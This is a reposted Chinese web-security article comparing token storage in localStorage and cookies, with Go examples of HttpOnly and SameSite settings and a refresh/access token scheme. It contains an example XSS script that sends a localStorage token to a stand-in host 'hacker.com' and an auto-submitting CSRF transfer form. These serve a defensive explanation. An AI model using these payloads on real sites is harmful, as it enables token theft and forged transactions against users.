网络知识

Token 放在 LocalStorage 里会被 XSS,那放在 Cookie 里就真的安全吗?

转载:Token 放在 LocalStorage 里会被 XSS,那放在 Cookie 里就真的安全吗?

前言🔖


在前端开发中,Token 的存储位置一直是一个备受争议的话题。主要有两种选择:

  1. LocalStorage:使用方便,但存在安全隐患。
  2. Cookie:机制复杂,但提供了一些安全属性。

面试中常问的问题是:“LocalStorage 容易受到 XSS 攻击,Cookie 容易受到 CSRF 攻击,那么到底应该如何安全地存储 Token?”

  

LocalStorage 的安全风险🔖


将 Token 存储在 localStorage 是常见的做法,因为使用简单。

// 存
localStorage.setItem('token', 'eyJhbGciOiJIUz...');

// 取
const token = localStorage.getItem('token');
fetch('/api/data', {
    headers: { Authorization: `Bearer ${token}` }
});

然而,localStorage 的设计允许 JavaScript 代码完全访问。这意味着,如果网站存在 XSS(跨站脚本攻击)漏洞,攻击者可以通过注入恶意脚本直接读取 Token。

XSS 攻击示例:如果页面未对用户输入进行过滤,攻击者可能注入以下脚本:

<script>
  // 攻击者脚本
  fetch('http://hacker.com/steal?cookie=' + localStorage.getItem('token'));
</script>

只要用户访问了包含恶意脚本的页面,Token 就会被发送到攻击者的服务器。由于 JS 对 LocalStorage 拥有完全读写权限,且没有类似于 Cookie 的访问控制机制,因此这种存储方式在 XSS 面前非常脆弱。

  

Cookie 的安全机制🔖


很多人认为 Cookie 不安全,这通常是因为配置不当。 Cookie 有一个关键的安全属性:HttpOnly

当 Cookie 设置了 HttpOnly 属性后:

  1. 禁止 JS 读取document.cookie 无法获取该 Cookie。
  2. 自动发送:浏览器在发起请求时会自动携带该 Cookie。

后端设置 HttpOnly Cookie (Go 示例):

http.SetCookie(w, &http.Cookie{
    Name:     "access_token",
    Value:    "eyJhbGciOiJIUz...",
    HttpOnly: true,  // 禁止 JavaScript 读取
    Secure:   true,  // 仅通过 HTTPS 传输
    Path:     "/",
})

在这种配置下,即使网站存在 XSS 漏洞,攻击者的脚本也无法读取 Token。虽然攻击者可能通过脚本发起请求(因为浏览器会自动带上 Cookie),但他无法直接获取 Token 字符串,从而无法将其用于其他用途。

  

Cookie 的 CSRF 风险🔖


使用 HttpOnly Cookie 虽然防范了 XSS 读取 Token,但引入了 CSRF (跨站请求伪造) 风险。

CSRF 攻击原理:浏览器会自动在请求中携带 Cookie,无论该请求是由用户在当前网站发起的,还是由第三方恶意网站发起的。

场景模拟:

  1. 用户登录了 bank.com,Token 存储在 Cookie 中。
  2. 用户访问了恶意网站 hacker.com
  3. 恶意网站包含以下代码:
<!-- 恶意网站上的代码 -->
<form action="http://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="hacker" />
    <input type="hidden" name="amount" value="10000" />
</form>
<script>document.forms[0].submit();</script>
  1. 浏览器向 bank.com 发送请求时,会自动附带用户的 Cookie。
  2. bank.com 服务器接收到请求,验证 Cookie 有效,执行了转账操作。

这就是 CSRF 攻击的核心:利用浏览器的自动携带 Cookie 机制,冒充用户发起请求。

  

最佳实践方案🔖


为了同时防范 XSS 和 CSRF,可以采取以下组合方案。

🔹方案一:Cookie (HttpOnly) + SameSite + CSRF Token

这是传统的防御方式。

  1. HttpOnly:防止 XSS 攻击读取 Token。
  2. SameSite=Strict/Lax:限制第三方网站发起的请求携带 Cookie。
  3. CSRF Token:前端在请求 Header 中携带一个自定义的 Token(如 X-CSRF-Token)。由于 CSRF 攻击无法构造自定义 Header(受同源策略限制),这提供了额外的保护。
// Go 设置 SameSite
http.SetCookie(w, &http.Cookie{
    Name:     "token",
    Value:    "...",
    HttpOnly: true,
    SameSite: http.SameSiteLaxMode, // 限制跨站发送
})

  

🔹方案二:Refresh Token (Cookie) + Access Token (内存)

这是现代单页应用(SPA)推荐的方案:

  1. Refresh Token 存储在 HttpOnly Cookie 中(设置较长过期时间)。
  2. Access Token 存储在 内存变量 中(JavaScript 变量)。

工作流程:

  1. 登录成功后,后端设置 refresh_token 到 HttpOnly Cookie。
  2. 后端返回 access_token 在 JSON 响应体中。
  3. 前端将 access_token 保存在变量中。
  4. 发起请求时,使用变量中的 access_token 设置 Authorization Header。
  5. 当 access_token 过期或页面刷新(导致内存变量丢失)时,前端调用 /refresh 接口。
    • 浏览器自动携带 Cookie 中的 refresh_token
    • 后端验证通过,返回新的 access_token

方案优势:

  • 防 XSSrefresh_token 无法被 JS 读取(HttpOnly)。access_token 虽然在内存中可能被读取,但其生命周期短,且攻击者必须在当前页面会话中才能获取。
  • 防 CSRFaccess_token 通过 Authorization Header 发送,浏览器不会自动携带,天然免疫 CSRF。

  

总结🔖


存储方式XSS 风险CSRF 风险推荐程度适用场景
LocalStorage高 (直接读取)无 (需手动发送)非敏感数据
普通 Cookie高 (可被读取)有 (自动发送)不推荐
HttpOnly Cookie低 (不可读取)有 (自动发送)服务端渲染 (SSR)
HttpOnly Cookie + SameSite大部分 Web 应用
内存(Access) + Cookie(Refresh)最低最低极高前后端分离应用

  

面试回答建议🔖


在回答此问题时,应重点阐述以下观点:

  1. LocalStorage 的缺陷:由于缺乏访问控制,完全暴露给 JavaScript,存在无法避免的 XSS 风险。
  2. Cookie 的特性:虽然有 CSRF 风险,但可以通过 HttpOnly 防止 XSS,通过 SameSite 和 CSRF Token 防止 CSRF。
  3. 结论:在涉及敏感数据的场景下,HttpOnly Cookie 配合适当的 CSRF 防御措施,或者采用 Refresh Token (Cookie) + Access Token (内存) 的模式,是更安全、更为专业的选择。